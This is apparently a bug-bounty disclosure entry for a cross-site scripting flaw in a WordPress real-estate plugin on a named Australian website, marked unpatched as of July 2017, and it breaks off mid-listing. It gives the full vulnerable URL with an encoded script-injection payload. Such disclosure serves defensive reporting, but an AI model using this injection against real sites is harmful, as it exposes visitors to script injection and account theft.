lynham.com.au XSS vulnerability

Vulnerable URL: http://www.lynham.com.au/wp-content/plugins/Realty/display/elements/formcontactagent.php?userid=%22%3C/script%3E%3Cscript%3Ealert%28/OPENBUGBOUNTY/%29%3C/script%3E%27=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS...